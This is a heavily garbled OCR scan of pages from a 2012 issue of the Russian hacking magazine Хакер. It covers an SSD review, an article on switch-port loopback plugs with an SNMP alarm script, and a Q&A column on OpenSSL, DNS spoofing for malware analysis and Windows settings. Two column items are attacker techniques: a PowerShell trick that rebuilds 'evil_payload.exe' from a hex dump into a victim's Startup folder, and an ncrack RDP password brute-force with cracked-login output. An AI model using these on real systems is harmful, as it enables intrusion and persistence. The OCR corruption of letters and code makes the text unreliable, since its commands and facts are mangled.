ВСТРЕЧАЕМ Итак, н о ви нк а ра ботает на ко нтр олл е р е San dFoгce

се р ии SF-20 00 и испол ьзует ячейки па м яти ти п а

MLC . С р ок жиз н и п осл едн их составля ет в сего

3-5 ты сяч ци клов п е реза пи с и , но п роиз водител ь

об ещает до пяти л ет бес пробл е мно й работы .

Silico п Роwе г SP060 GB SSDV30525 п одойдет т е м ,

кто уже ус п ел обз ав ести с ь систем но й платой с

SATA 3.0, иначе з ав етны е ско ростны е характери ­

с т и ки ос т а н ут с я лишь двум я п ривлекательными

цифер к а ми на у па ков ке . Конечно, в р еал ь н ости

Write - Read - Write Read

и х м ожн о дос т и чь толь ко пр и с интет и ч ес ки х

тестах , но и в ход е более се рь ез н ых ис п ыта н ий,

н а пример п ри тестиро ва н ии в бен ч марке IOmeteг,

новый накопител ь показал себя очень ш уст рым.

Компл ектация Sili co п Роwег SP060GBSSDV30525 вп олн е с та ндартная : гид п о б ы строй установ ке и

к р о нштей н для мо нт ирован и я в 3 , 5 -дю й м о в ом о т­

секе. Есл и тебе вдруг о ч е н ь п о нра витс я этот SSD, ты все гд а можешь п родать п очку и купить модел ь

с максимальн ым в л и н ейке объемом 480 Г б.

1961 3 17280 35239 32256 50435 54001

16411 7 128548 237596 179971 316007 347832 446227 396128 463553 426883 486711 464703 488856 529998 493674 546588 492542 554109 выводы 493674 559240 489176 559240 493674 556663

300 400 500 600 700 800 900 1000 Transler Rate · МВ 1 Sec

Воистину великолепные результаты тестирования!

Если у теб я еще н еттвердотел ьного н а копителя , то

мы н е види м пр ичи н, п о которы м н ельзя побаловать

себя такой поку п кой. Бла года ря тому же Si licon Роwег SP060GBSSDV30525, систе ма реально уско­ряется ! Ради такого ускоре н ия н е жал ко п от ратить

достаточно большую сум му. ::::к:

ХАКЕР 01 /156/ 2012

Page 133: haker

Почти 3 000 000 * настоящих мужчин смотрят MAN TV

Page 134: haker

PHREAKING

во о л

Сергей Лунде aka Lundes lsergey.lunderagmail.coml

го РАССМОТРИМ, СОЗДАДИМ И ЗАЮЗАЕМ АППАРАТНУЮ

ПЕТЛЮ НА ПОРТЕ КОММУТАТОРА

Rx и Тх­обоэначения Receive и Transmit на схемах (nриём и nередача! .

Loop-aнrn. петля ,

контур, шлейф, виток, спираль.

Если взять кусок патч-корда и воткнуть оба

хвоста в один коммутатор, то получится петля.

И в целом петля на порте коммутатора или

сетевой карты- зло . Но если постараться,

то и этому явлению можно найти полезное

применение, например сделать сигнализацию

с тревожной кнопкой.

т ипичная сеть состоит из узлов, соединенных средой пере­

дачи данных и специализированным сетевым оборудо­

ванием, таким как маршрутизаторы, концентраторы или

коммутаторы . Все эти компоненты сети, работая вместе, позволяют

пользователям пересыпать данные с одного компьютера на другой ,

возможно в другую часть света.

Коммутаторы являются основными компонентами большинств а

проводных сетей. Управляемые коммутаторы делят сеть на отдель­

ные логические подсет и, ограничивают доступ из одной подсети в

другую и устраняют ошибки в сети [коллизии! . Петли, штор мы и порты - зто не только морские термины. Пет­

лей называют ситуацию, когда устройство получает тот же самый

132

сигнал, который отправляет. Представь, что устройство «крич ит»

себе в порт: «Я здесьl"- слушает и получает в ответ: << Я здесьl>> .

Оно по-детски наивно радуется: есть сосе ди! Потом оно кричит:

<< Привет! Лови пакет данных! » - << Поймал?» - << П оймал!»- << И ты

лови пакет данных l Поймал ?» - <<Конечно, дружище! »

Воттакой сумасшедший разговор с самим собой может начаться

из-за петли на порте коммутатора.

Такого быть не должно , но на практике петли по ошибке или

недосмотру возникают сплошь и рядом, особенно при построении

крупных сетей. Кто-нибудь неверно прописал марштуры и хосты

на соседних коммутаторах, и вот уже пакет вернулся обратно и за­

циклил устройство. Все коммутаторы в сети, через которые летают

пакеты данных, начи н ает штормить . Такое явление называется

широковещательным штормом [bгoadcast stoгml. Меня удивил случай, когда установщик цифрового телевидения

воттак подсоединил патч-корд [рис. 11. <<Куда-то же он должен быть воткнут ... »- беспомощно лепетал он.

Однако не всё так страшно. П очти в каждом приличном комму­

таторе есть функция loop_detection, которая защи щает устройств о

и его п орт от перегрузок в случае возникновения петли.

НАСТРАИВАЕМ КОММУТАТОРЫ Перед тем как начинать настройку, необходимо установить фи­

зическое соединение между коммутатором и рабочей станцией.

ХАКЕР 01 /156/2012

Page 135: haker

Таблица 1. Распиновка RJ45

Существует два типа кабельных соединений для управления ком­

мутатором: соединение через консольный порт [если он имеется у устройства[ и через порт Etheгnet [по протоколу Telnet или через wеЬ-интерфейсl. Консольный порт используется для пер вона­чальнога конфигурирования коммутатора и обычно не требует на­

стройки. Для того чтобы получить доступ к коммутатору через порт

Etheгnet, устройству необходимо назначить IР-адрес.

WеЬ-интерфейс является альтернативой командной строке и

отображает в режиме реального времени подробную информацию

о состоянии портов, модулей, их типе и т. д . Как правило, wеЬ­

интерфейс живет на 80 НТТР-порте IР-коммутатора.

НАСТРОЙКА DLINK DES-3200 Для того чтобы подключиться к НТТР-серверу, необходимо выпол­

нить перечисленные ниже действия с использованием интерфейса

командной строки.

1. Назначить коммутатору IР-адрес из диапазона адресов твоей

сети с помощью следующей команды:

DES-З2ee# coпfig ipif System \ ipaddress ххх.ххх.ххх.ххх/ууу.ууу.ууу.ууу.

Здесь ххх.ххх . ххх . ххх -IР-адрес, ууу.ууу.ууу.ууу.- маска подсети.

2. Проверить, правильно ли задан IР-адрес коммутатора , с помо­

щью следующей команды :

DES-32ee# show ipif

3. Запустить на рабочей станции wеЬ-браузер и ввести в его ко­

мандной строке IP- адрес коммутатора.

Управляемые коммутаторы D-Link имеют консольный порт, ко­торый с помощью кабеля RS-232, входящего в комплект поставки, подключается к последовательному порту компьютера. Подключе­ние по консоли иногда называют подключением Out-of-Band. Его можно использовать для установки коммутатора и управления им,

даже если нет подключения к сети.

После подключения к консольному порту следует запустить

эмулятор терминала [например, программу НурегТегmiпаl в

Windows[. В программе необходимо задать следующие пара метры:

Baud rate: 9,бее

Data width: 8 bits Parity: попе Stop bits: 1 Flow Coпtrol: попе

При соединении коммутатора с консолью появится окно

командной строки. Если оно не появилось, нажми Сtгl+г, чтобы

обновить окно.

Коммутатор предложит ввести пароль. Первоначально имя

пользователя и параль не заданы, поэтому смело жми клавишу

ХАКЕР 01/1 56/ 2012

Loop во благо

Рис . 1. Синий свитч с петлей на борту

LоорЬасk-тест

Епtег два раза. После этого в командной строке появится пригла­

шение, например DES-3200#. Теперь можно вводить команды. Команды бывают сложными, многоуровневыми, с множеством

параметров, и простым и , для которых требуется всего один пара метр.

Введи <<?» в командной строке, чтобы вывести на зкран список всех

команд данного уровня или узнать параметры команды.

Например, если надо узнать синтаксис команды config, введи в командной строке:

133

Page 136: haker

PHREAKING

ВидА

~ 1 ... 8

Нумерация контактов RJ-45 Схема красной кнопки

DES-3288#config + nробел

Дал ее можно ввести,,?" или нажать кнопку Епtег. На экране

появится список всех возможных способов завершения команды.

Лично я для вывода этого списка на экран пользуюсь клавишей ТАВ .

БАЗОВАЯ КОНФИГУРАЦИЯ КОММУТАТОРА При создании конфигура ции коммутатора прежде всего необ­

ходимо обеспечить защиту от доступа к немунеавторизованных

пользователей. Самый простой способ обеспечения безопасно­

сти - создание учетных записей для пользователей с соответ­

ствующими правами. Для учетной записи пользователя можно

задать один из двух уровней привилегий: Admin или Useг. Учетная запись Admiп имеет наивысший уровень привилегий . Создать

учетную запись пользователя можно с помощью следующих

команд CLI:

DES-3288# create account admin/user <username> (знак «/» означает ввод одно го из двух nараметров)

После этого на экране появится приглашение для ввода па рол я

и его подтверждения: << Епtег а case-seпsitive пеw passwoгd>>.

Максимальн ая длина имени пользователя и паролясоставляет 15 символов. После успешного создания учетной записи на экране

появится сло во Success. Ниже приведен пример создания учетной записи с у ровнем при­

вилегий Admin :

Username "dlink": DES-3288#create account admin dlink Command: create account admin dlink Enter а case-sensitive new password: **** Enter the new password again for confirmation:**** Success. DES-3288#

Изменить па роль для существующей учетной записи пользо­

вателя можно с помощью следующей команды: OES-3200# config account <useгname>

Ниже приведен пример установки нового паролядля учетной записи dliпk:

DES-3288#config account dlink Command : config account dlink Enter а old password:** ** Enter а case-sensitive new password: **** Enter the new password again for confirmation:**** Success.

Проверка созданной учетной за писи выполняется с по­

мощью следующей команды: OES-3200# show account. Для

134

6 ----<О

3 -----<0

Сама красная кнопка

удаления учетн ой за писи используется команда delete account <useгname>.

Шаг второй. Чтобы коммутатором можно было удаленно управ­

лять через wеЬ-интерфейс или Telnet, коммутатору необходимо назначить IР-адре с из адресного пространства сети, в которой

планируется использовать устройство. IР-адрес задается автома­

тически с помощью протоколов ОНСР или ВООТР или статически с

помощью следующих команд CLI:

DES-3288# config ipif System dhcp, DES-3288# config ipif System ipaddress \

ххх.ххх.ххх.ххх/ууу.ууу.ууу.ууу.

Здесь ххх.ххх.ххх.ххх -IР-адрес, ууу.ууу.ууу.ууу. - маска подсети ,

System- имя управляющего интерфейса коммутатора .

Шаг третий. Теперь нужно настроить параметры портов

коммутатора. По умолчанию порты всех коммутаторов 0-Link поддерживают автоматическое о пределение скорости и режима

работы (дуплекса!. Но иногда автоопределение nроизводится

некорректно, в результате чего требуется устанавливать ско­

рость и режим вручную.

Для установки параметров портов на коммутаторе 0-Link служит команда coпfig poгts. Ниже я привел пример, в котором

показано, как установить скорость 10 М бит/с, дуплексный режим работы и состояние для портов коммутатора 1-3 и перевести их в режим обучения .

DES-3288#config ports 1-3 speed 18_full learning enaЬle state enaЬle Command: config ports 1-3 speed 18_full learning enaЬle state enaЬle Success

Команда show poгts <список nортов> выводит на экран инфор­мацию о настройках портов коммутатора.

Шаг четвертый. Сохранение текущей конфигурации коммута­

тора в энергонезависимой памяти NVRAM. Для этого необходимо выполнить команду save:

DES-3288#save

ВСЕ КОММУТАТОРЫ В СЕТИ,

ЧЕРЕЗ КОТОРЫЕ ЛЕТАЮТ

ПАКЕТЫ ДАННЫХ, НАЧИНАЕТ

ШТОРМИТ

ХАКЕР 01 / 156/2012

Page 137: haker

Command: save Saving all settings to NV-RAMoo о 1ее%

doneo DES-32ee#

Шаr пятый. Перезагрузка коммутатора с помощью команды

геЬооt:

DES-32ee#reboot Command: reboot

Будь внимателен! Восстановление заводских настроек комму­

татора выполняется с помощью команды гeset.

DES-3200#гeset config А то я знал одного горе-админа, который nерезагружал комму­

таторы командой гeset, тем самым стирая все настройки.

loop_detection для коммутаторов Alcatel interface range ethernet е(1-24) loopback-detection enaЬle exit loopback-detection enaЬle

loop_detection для коммутаторов Dlink еnаЫе loopdetect config loopdetect recover_timer 1вее config loopdetect interval 1 config loopdetect mode port-based config loopdetect trap поnе config loopdetect ports 1-24 state enaЫed config loopdetect ports 25-26 state disaЫed

Грамотный ад мин обязательно установит на каждом порте соот­

ветствующую защиту.

Но сегодня мы хотим применить loopback во благо. У такого включения есть замечательное свойство. Если на порте ком­

мутатора имеется петля, устройство считает, что к нему что-то

подключено, и переходит в UР-состояние, или, как еще говорят,

<< nорт поднимается». Вот эта-то фишка нам с тобой и нужна.

УСТРАИВАЕМ АППАРАТНУЮ ПЕТЛЮ Устроить обратную связь очень просто: соединяется канал приема

и передачи, вход с выходом [Rx и Txl . Обожми один конец кабеля стандартно, а при обжиме второго

замкни жилы 2 и 6, а также 1 и 3. Если жилы имеют стандартную расцветку, надо замкнуть оранжевую с зеленой, а бело-оранжевую

с бело-зеленой. Смотри рис. 3. Теперь, если воткнешь такой <<х востик >> в порт коммутатора или

в свою же сетевую карту, загорится зелёненький сигнал link . Ypal Порт оnределил наше <<устройство »!

КРАСНАЯ КНОПКА,ШJИ HELLO WORLD Ну куда же без Hello woгld? Каждый должен хоть раз в жизни вы­вести эти слова на экра н монитора! Сейчас мы с тобой наnишем

nростейший обработчик событий, который будет срабатывать nри

замыкан~и красной кнопкv.. Для этого нам nонадобятся только

кнопка с двумя nарам и коптакто в, работающих на замыкание,

витая пара и кон нектар . На всякий случай приведу схему красной

кно nки [рис . 41. Паяльник в руках держать умеешь? Соединяем так, чтобы одна

пара контактов замыкала оранжевую жилу с зеленой, а другая­

бело-оранжевую с бело-зеленой. На всяки х случай nрозвони

соединение мультиметром.

Все, теnерь можно тестировать. Вставь обжатую часть в nорт

сете вой карты или в порт коммутатора. Ничего не произошло?

Хорошо. Нажми кнопку. Лин к поднялся? Замечательно!

Вот ли стинг nростейшего обработчика Hello Woгld на Cshell:

ХАКЕР 01/156/2012

Loop во благо

LOOPBACK

IJ оор- это аnпаратный или nрограммный метод, который по­

зволяет наnравлять nолученный сигнал или данные обратно

отnравителю. На этом методе основан тест, который называется

lоорЬасk-тест. Для его выполнения необходимо соединить вы ход устройства

с его же входом. Смотри фото <<lоорЬасk-тест>>. Если устройство получает

свой собствен ный сигнал обратно, это означает, что цепь функционирует, то

есть приемник, nередатчик и линия связи исправны.

Скрипт на Cshell, генерящий Hello word # !/Ьin/csh

# vero 1 ое

# Проверяем, запущ~н ли процесс в nамяти

if ( ' ps 1 grep ' redbut' 1 grep -v 'grep' 1 wc -1' <= 1 ) then # Указываем путь , где лежит snmp set snmpdir = " / usr/ local/ bin / " set community = "puЫic "

# Строка snmp set snmpcmd = "-t1 -r1 -Oqv -с $community -v1 -Cf set mib_stat = "IF-MIB: :ifOper Statuso$2" set uid = "$1" set fl = ' е '

# Запу с каем цикл проверк и порта

while ( "Sfl" == · е· ) о

set nowstatus = ' $snmpdir/ snmpget $snmpcmd $uid $mib_stat 1 sed 's / up/ 1/ ;s/ down} e/ ;/Wrong/d ' ' if ( " $nowstatus " == 1 ) then echo 'Hello Wo r ld' # Отправляем сообщение на e-mai l echo " Сработала кра с ная кнопка! Hello World!" 1

sendmail -f[от_кого_отправлено] [кому_отправляем]

endif sleep 1е end endif exit

Скриnт заnускается с nомощью следующей строки:

o/scriptocsh IР_коммутатора номер_портао

Что привязать к обработчику событий, зависит уже от твоей

фантазии. Может, это будет счетчик гостей, или тревожная кнопка,

рассылающая сообщения в аське, или кнопка для отключения всех

юзеров в сети- решать тебе!

СИГНАЛИЗАЦИЯ ОБРЫВА ВИТОЙ ПАРЫ Я решил собрать аnпаратную петлю nосле того, как в моей локаль­

ной сети украли несколько мешков витой пары. Встал серьезный

вопрос: как мониторить витую пару?

Идея nро ста: надо преложить витую пару от коммутатора до

подъезда и на конце замкнуть её в петлю . Это будет <<растяжка >>,

при обрыве которой исчезнет л инк на порте коммутатора. Оста­

нется наnисать обработчик, который бы «трубил во все трубы >>, что

л инк исчез, то есть витую пару кто-то разрезал.

Чуть не забыл! В конфигурации коммутатора необходимо с нять

защиту loop_detection с порта, на котором установлена <<растяжка>>. Впрочем, ты можешь nридумать петле и другое применение.

Удачи! ::Х:

135

Page 138: haker

UNITS/FAQ UNITED

FAQ United ЕСТЬ ВОПРОСЫ- ПРИСЫЛАЙ НА FAQriREAL.XAKEP.RU

r.t КАК БЫ ТЫ ЗАШИФРОВАЛ .... НЕКОТОРЫЕ ДАННЫЕ ДЛЯ ПЕРЕДАЧИ НА УДАЛЕННОМ LINUX­CEPBEPE?

lr,8 Я бы сделал это через OpenSSLI Да-да, W этот демон есть nрактич ески в любой Linux-cиcтeмe, но при этом его возможности

далеко не ограничиваются nоддержанием

SSL-соединения . Хочу nоделиться с тобой

несколькими полезными трюками, которые

наверняка тебе не раз при годятся. Так,

с помощью OpenSSL ты можешь шифровать и дешифровать данные, проверять целост­

ность файла, определять, какие протоколы

шифрования и шифры поддерживает удален­

ный сервер, а также замерять скорость

соединения.

1. Начнем с шифрования. В твоей ситуации

можно было бы исnользовать вполне

тривиальные решения вроде GnuPG [www. gnupg.org l, но с задачей отлично сnравится и OpenSSL:

$ openssl aes-256-cbc -salt -in file-test -out file-test.aes enter aes-256-cbc encryption pass­word: Verifying - enter aes-256-cbc encryption password:

В данном случае мы шифруем файл file­test с помощью AES-256 [в режиме CBCI и записываем его в file-test.aes. При этом

OpenSSL дважды сnрашивает па роль . Далее он потребуется для дешифрования

файла, которое выполняется следующим

образом:

$ openssl aes-256-cbc -d -in \ file-test .aes -out file-test-dec

К сожалению, возможности OpeenSSL позволяют шифровать только один файл,

поэтому для шифрования нескольких при­

дется nредварительно их сжать или же на­

nисать nростой Ьаsh-скрипт. Вот, к приме­

ру, небольшой сценарий, который шифрует

все файлы в текущей директории:

$ for f in * ; do [ -f $f ] && openssl aes-256-cbc -salt -in $f -out $f.enc -pass file:password.txt ; done

2. Генерация хеш а. OpenSSL nригодится и в том случае, если нужно сгенерировать SHA 1-1-или МО5-хеши . Вычислим SHA1 для файла file-test -64:

$ openssl shal file-test-64 SHAl(eapol-64)= afc594f26ca08780737 69d24f8c04fe35f2bf8b3

3. Чтобы выяснить, какую версию SSL!TLS поддерживаетудаленный сервер, можно

оnять же воспользоваться OpenSSL. Это легко делается с помощью следующей

команды :

Степан Ильин [lwliller.com/slepahl

$ echo 'GET НТТР/1.0' 1 openssl s_client -connect example.com:443 [ ... ] New, TLSvl/SSLvЗ, Cipher is DHE-RSA-AES256-SНA

Server puЫic key is 2048 bitм

Как мы видим, хост поддерживает TLSv1/ SSLvЗ.

4. В OpenSSL также встроен собственный speed test, позволяющий замерить скорость удаленного соеди нения. Простейший бенч­

маркзаnускаетсятак:

$ openssl s_time -connect \ webserver.com:443

r.t ПОДСКАЖИ КАКОЙ-НИБУДЬ .... СВЕЖИЙ СПОСОБ ПЕРЕНЕСТИ ИСПОЛНЯЕМЫЙ ФАЙЛ НА УДАЛЕННУЮ СИСТЕМУ, ЕСЛИ НИ ОДИН ИЗ ПРИВЫЧНЫХ

СПОСОБОВ [FТР.ЕХЕ, БРАУЗЕР И Т. Д . l НЕДОСТУПЕН .

n В ОДНОМ ИЗ НОМеров журнала МЫ уже

W рассказывали о том, как собрать исполняемый файл из текстового документа

с помощью debug.exe. Однако такой способ накладывает ограничение в 64 Кб на размер исполняемого файла. Более того, debug.exe не входит в последние версии ОС от Microsoft . К счастью, в Windows 7 и Server 2008 по умол­чанию имеется PowerShell, который предо-

5 ШАГОВ: СПУФИНГ DNS-OTBETOB ДЛЯ АНАЛИЗА МАЛВАРИ

х очу перехватывать все nодключения

зловреда к его С&С-серверам. Нужно

nросnуфить ОNS-ответы так, чтобы

в качестве IР-адресов своих доменов малварь

получала заданный мною айпишник. Как это

проще сделать? Не снифать же вручную все

имена доменов , к которым nроисходят

обращения, добавляя их вручную в файл hosts?

136

1 BIND [www.isc.org l. С подменой ОNS-ответов отлично

справится правильно отконфигуриро ­

ванный DNS-cepвep, например BIND, кото­рый работает как под виндой, так и никсами.

С другой стороны, это все равно, что стрелять

из пушки по воробьям. Легче заюзать специ ­

альную ту л зу для с пуфинга ОNS-ответов.

2 ApateDNS [ Ьit . ly/sZQiK1 1.

Эту утилиту недавно выпустила из­вестная sесuгitу-комnанией Mandiant.

Она nринимает ОNS-запросы и отnравляет

ответы с тем IР-адресом, который ты указал.

Чтобы все работало, хает, на котором запу­

щен ApateDNS [работаеттолько nод виндойi, должен быть указан на исследуемых машинах

в качестве DNS.

ХАКЕР 01 /156/ 2012

Page 139: haker

ставляет баснословные возможности прямо

из командной строки. Что мы можем сделать?

Взять текстовый файл с шестнадцатеричным

представлением исполняемого файла

и перевести его в на стоя щий бинарник. Можно

без труда оформить бинарник в виде <<тексто­

вика>> с помощью простейшего скрипта в том

числе на том же самом PoweгShell:

PS > [byte[]] $hex = get-content -encoding byte -path

C:\temp\evil_payload.exe PS > [System.IO.File]: :WriteAllLines( "C:\ temp \hexdump.txt" , ([string]$hex))

Первая строка считывает каждый байт

экзешника и сохраняет его в массиве. Вторая

строка переводит байты в массив строк и за­

писывает их в текстовый файл. В результате

в файле hexdump.txt у нас получается что-то

вроде этого:

77 9В 144 в 3 в в в 4 в в в 255 255 в в 184 в в в в в в в 64 в в в в в в в в в в в в в в в в в в в в в в в в в в в в в в

в в в в в 232 в в в 14 31 ....

Передать текстовый файл намного проще,

чем бинарный. В крайнем случае !если пред­положить, что компьютер не имеет доступа

в сеть и к нему нельзя подключить внешние

носители!, злоумышленник может создать

такой файл вручную !хотя мучиться он будет довольно долго!. Реконструировать файл об­ратно в бинарник на целевой системе можно

с помощью такого РS-сценария:

PS > [string]$hex = get-content -path C:\Users\victim\Desktop\hexdump.txt PS > [Byte[]] $temp = $hex -split ' '

PS > [System.IO.File]: :WriteAllBytes( "C:\ProgramData\Microsoft\Windows\Start Menu\Programs \ Startup\evil_payload.exe" ,

$temp)

П ервая строка считывает дамп в строко­

вую переменную, далее строка с помощью

пробела разделяется на байты. В конце

концов массив байтов записывается в файл­

и мы получаем исходный бинарник, готовый

к исполнению.

EJ FakeDNS I Ьit.ly/szUFXI I. Тулза входит в большой набор про­

грамм для анализа малвари Malcode Analysis Pack. Как и ApateDNS, она работает

только под виндай и отвечает на все DNS­запросы, подсовывая заранее прописанный

IР-адрес . Все перехваченные данные !за­

просы и ответы! можно посмотреть в НЕХ­представлении.

ХАКЕР 01/156/2012

БОЛЬШОЙ ВОПРОС

Q КАК МОЖНО ПОЩУПАТЬ

АNDRОID-ПРИЛОЖЕНИЯ,

НЕ ИМЕЯ ТЕЛЕФОНА

С ANDROID? Я ЗНАЮ ПРО СТАНДАРТ­НЫЙ ЭМУЛЯТОР ОТ GOOGLE, НО УЖ БОЛЬНО ОН ТОРМОЗНОЙ!

А Эмулятор Andoid'a, входящий

в Andгoid ~DK, действительно

медленны и, так как он вынуж­

ден эмулировать настоящий процессор

архитектуры ARM поверх процессара

х86. Из-за это го в плане производитель­

ности возникает довольно существенный

оверхед в. На твое счастье, в мире есть

талантливые извращенцы, у которых

полно сил на реализацию довольно

странных проектов вроде Bluestacks I Ыuestacks.com l. Это не эмулятор, а пол­

ностью воссозданное Апdгоid-окружение,

мachtne Qevtces !felp

~~ ~ lr Арр Store AppBra in Blapk

Арр Mark ... Market . ....., • • Camera Clock Contacts

.ж.

~ ~ '"' ~

Facebook Gallery Global Time Plu s

FAQ UNITED

которое позволяет запускать Апdгоid­

приложения . На практике это дает массу

преимуществ. К примеру, ты можешь

запускать приложения в полноэкранном

режиме, и они реально не будут тормо­

зить. Платформа позволяет запускать

десять приложений , которые идут с ней

в комплекте , а также устанавливать до­

полнительные. Прим ечательно, что это

не просто проект энтузиастов, а финанси­

руемый инвесторами старта п. На данный

момент Bluestacks уже привлек инвести­ции примерно на 7 млн долларов. Помимо этого , существует также открытый проект

по портированию Andгoid на процесса-

ры x86lwww.andгoid-x86 . oгg l, который

постоянно радует нас новыми версиями.

Для установки я использовал подробный

мануал с офсайта l http:UЬit.ly/гYs901 l,

и все сразу заработало!

~· _J -~~ L...LLU

11 Browser Calculator Calendar

~ " f. Dev Tools Email Facebook

~· rв- ~ " .. . ";~.~~/,...

~ ~

jetBoy Latitude Lunar Lander

Android-x86, заnущенный nод VirtuaBox, на хорошем комnьютере работает nримерно в два раза быстрее, чем смартфон Nexus One!

'

fakedns.py I Ьit. l y/vhgamQ J.

Этот с крипт для спуфинга DNS­ответов написан на Python !чуть боль­

ше 40 строчек кода! и потому будет работать под любой ОС. По умолчанию в качестве IР­

адреса в любом запросе задается адрес хоста,

на котором запущен fakedпs .py, но с помощью

параметров запуска можно указать любой

другой айпишник.

IJ HostsMan I Ьit.ly/uZAVOX I. Эта программа не предназначена для

спуфинга DNS-ответов, но предостав­

ляет отличный интерфейс для редактирования

файла hosts. Она позволяет настроить автома­тическое обновления конфига или, например,

удалить из файла дублирующие друг друга за­

писи. Хотя, конечно, в 99% случаев достаточно и обы чного блокнота. :1

137

Page 140: haker

UNITS/ FAQ UNITED

r,1 КАК ПОМЕНЯТЬ СТАНДАРТНЫЙ 1:'.1 МЕНЕДЖЕР ЗАДАЧ НА КАКОЙ­НИБУДЬ НА БОЛЕЕ ПРОДВИНУТЫЙ , КОТОРЫЙ СРАЗУ БЫ ВЫСКАКИВАЛ ПО ПРИВЫЧНОМУ ХОТКЕЮ CТRL + SHIFТ + ESC?

n В меню nродвинутых таскм енеджеров

181 вроде Process Ехрlогег от Марка Руссиновича [bit.ly/ugFDpx) есть оnция Replace Task Manager, с nомощью которой его можно сделать менеджером задач по умолчанию. Что­

бы nровернуть эту оnерацию вручную, нужно

nоnра вить следующую ветку в реестре:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe

Если раздела с названием taskmgr.exe не будет, создай его сам. Затем необходимо до­

бавить строкавый nараметр Debugger и в каче­стве его значения nроnисать nуть до исnолняе­

мого файла нового таскменеджера [наnример,

с: \u ti 1 s\Process Ехр 1 о г е г\р госех р . ехе) .

r.1 ПОДСКАЖИ УДОБНЫЙ СПОСОБ 1:'.1 ДЛЯ ПРОСМОТРА ДАННЫХ, КОТОРЫ Е ПЕРЕДАЮТСЯ МЕЖДУ

БРАУЗЕРОМ И ВЕБ-ПРИЛОЖЕНИЕМ

ЧЕРЕЗ WEBSOCKEТ?

n Сам недавно столкнулся с такой

181 задачей. Пришел к выводу, что есть два основных варианта:

1. Исnользовать инструмент, который удобен

для nросмотра любого сетевого трафи-

ка, -Wireshark [www.wireshark.org ). Ты легко сможешь мониторить любые данные,

которые nередаются как по WebSockets, так и по любым другим nротоколам, работающим

nоверх НТТР [наnример, SOAP). 2. Восnользоваться расширением для Firefox

- Temper Data [ Ьit.ly/sM49Hk), которое nозволяетнетолькоnосмотретьданны~

но и изменить их на лету.

r.1 В ЧЕМ ФИШКА ДОПОЛНИТЕЛЬНОГО

1:'.1 МЕХАНИЗМА ЗАЩИТЫ WINDOWS INTEGRIТY LEVELS? КАК МОЖНО ЕГО ИСПОЛЬЗОВАТЬ И НАСКОЛЬКО ЭТО

ЦЕЛЕСООБРАЗНО?

n Одно из нововведений Windows Vista, 7 181 и Server 2008, о котором мало кто говорит, - это mandatory integrity levels [MIL). Если говорить с точки зрения nроцессов, то

Microsoft ввела доnолнительные уро вни до стуnа , чтобы о граничить nриложения,

которые заnущены из-nод одного и того же

аккаунта, во взаимном достуnе. Сейчас такие

nроцессы могут бесnреnятственно влиять

друг на друга. В доnолнение к традиционным

системам контроля достуnа nоявилось еще

одно с редст во разграничения достуnа ,

благодаря которому к объекту с уровнем N могут обращаться только объекты с уровнем

138

N и выше. Звучит страшно, но на самом деле все очень nросто . Файлам nроцесса можно

назначить три метки дов ерия: Low, Media и High. Все nроцессы , даже из-nод аккаунта

администратора, по умолчанию заnускаются

с уровнем Medium [средний обязательный уро вень в локализованной ОС). Правда , nод стандартным таскменеджером ты этого

не увидишь . Придется nоставить Process Ехрlогег и добавить для отображения

соответствующий столбец [View 7 Select Columns 7 lntegrity Level). Но главный воnрос - зачем это нужно? Предnоложим, в систему

каким-то образом nопала малварь, которая

работает в usermode. Она легко может инжектироваться, наnример, в nроцесс,

KeePass и nерехватить все nа роли, которые ты старательно сохраняешь в этой замеча­

тельной тулзе, чтобы она их надежно

шифровала. В итоге в се nарали окажутся

у злоумышленника. Все из-за того, что

у KeePass и кейлоггера был одинаковый­средний- уровень доверия. Если бы мы

зара нее nодняли уровень доверия KeyPass до High, то кейлоггер уже не смог бы добрать­ся до этого nроцесса. Профитl Установить

высокий уровень доверия какому-нибудь

nриложению [тому же KeyPass) о чень nросто -его лишь необходимо заnустить через

механизм Run as administrator. Хотя, конечно, это не сnасет от более серьезной мал вари,

которая работает на уровне ядра. Но это

хоро ший nример, иллюстрирующий возмож­

ности доnолнительн ой системы разграниче­

ния достуnа .

Windows lntegrity Levels можно исnользо­вать и для доnолнительной защиты файлов.

Маниnулировать с уро внями доверия nозво­

ляет и в строенная в систему утилита icacls, но есть хороший альтернативный вариант

в виде Chml [ Ьit.ly/sOBLCm ). К nримеру, можно

установить файлу высокий уровень доверия

[ключ "-i:h") и заnретить nриложениям с мень­шим уровнем его читать [ключ "-nr"):

chml file.zip -i:h -nr

Поскол ьку nриложения по умолчанию за­

гружаются со средним уровнем доверия, то об­

ратиться к file.zip они уже не смогут и nолучат сообщение Access is denied.

ЕСТЬ ЛИ В ПАБЛИКЕ БЫСТРЫЙ БРУТФОРСЕР ДЛЯ RDP ?

n Одной из nервы х рабочих утилит,

181 nредложивших нормальный брутфорс RDР-акков, была TSGгinder [ Ьit . ly/uThpnS).

Но работает она очень медленно. Гораздо

более эффективный nеребор nаралей

nредоставляет ncrack [nmap.org/ncrack)­разработанный создателями nmap брутфорсер, по умолчанию имеющий модуль для RDР­

брута . Выглядит его исnользование так :

$ ncrack -vv -d7 --user administrator \ -Р /home/user/passlist.txt \

192.168.26.137:3389, CL=2 rdp://192.168.26.137:3389 (EIO 1) Login failed: 'administrator' 'admin'

Oiscovered credentials оп rdp ://192.168.26.137:3389 'administra­tor' 'admin123'

П ароль найден!

r.1 ИСПОЛЬЗУЮ ОДИН И ТОТ ЖЕ 1:'.1 НОУТБУК НА РАБОТЕ И ДОМА. ЕСТЬ ЛИ СПОСОБ БЫСТРО ПЕРЕКЛЮЧАТЬ

СЕТЕВЫЕ КОНФИГУРАЦИИ БЕЗ

ИСПОЛЬЗОВАНИЯУТИЛИТВРОДЕ

NETSETMAN [WWW.NETSETMAN.COM)?

1'.8 Сохранить все сетевые настройки

181 можно через netsh с nомощью ключа dump:

netsh interface dump > netsh-config1.txt

В результате в конфиг в особой форме будут

заnисаны настройки всех сетевых интерфей­

сов:

# - -- - --------- --- - - --- -- - - -- -- -- -- -# Interface IP Configuration # ------------- -- -------------------pushd interface ip # Interface IP Configuration for "Local Area Connection 1"

set address name= "Local Area Connection 1" source=dhcp

set dns name= "Local Area Connection 1" source=dhcp register=PRIMARY

set wins name= "Local Area Connection 1" source=dhcp

popd # End of int erface IP configuration

Чтобы nрименить настройки из файла, ис­

nользуется команда netsh -1:

netsh -f netsh-config1.txt

Соответственно, ты можешь создать два

ко нфига и быстро nереключаться между ними,

